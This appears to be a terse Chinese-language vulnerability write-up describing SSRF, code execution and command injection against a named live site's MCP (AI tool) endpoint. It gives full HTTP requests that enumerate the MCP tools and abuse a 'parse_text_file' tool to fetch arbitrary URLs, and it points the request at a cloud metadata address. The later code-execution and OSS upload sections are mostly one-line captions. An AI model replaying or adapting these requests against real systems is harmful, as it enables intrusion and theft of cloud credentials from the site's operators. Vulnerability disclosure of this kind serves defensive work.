SSRF漏洞实战记录+OSS桶命令执行+MCP漏洞

SSRF【严重】

MCP工具。

POST /api/mcp HTTP/2

Host: www.newtake.ai
Content-Type: application/json
Accept: application/json, text/event-stream
User-Agent: Mozilla/5.0
Content-Length: 58
Connection: close

{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}

带回显。

POST /api/mcp/auth_callback HTTP/2
Host: www.newtake.ai
Content-Type: application/json
Accept: application/json, text/event-stream
User-Agent: Mozilla/5.0
Content-Length: 139
Connection: close

{"jsonrpc":"2.0","id":11,"method":"tools/call","params":{"name":"parse_text_file","arguments":{"url":"https://www.newtake.ai/robots.txt"}}}

http://100.100.100.200/latest/meta-data/hostname

任意代码执行【严重】

命令执行Python脚本。

打包上传。

下发任务。

读collaboration.json路径。

命令执行成功。

命令注入【严重】

OSS上传。

PUT上传文件。

Sleep命令执行成功。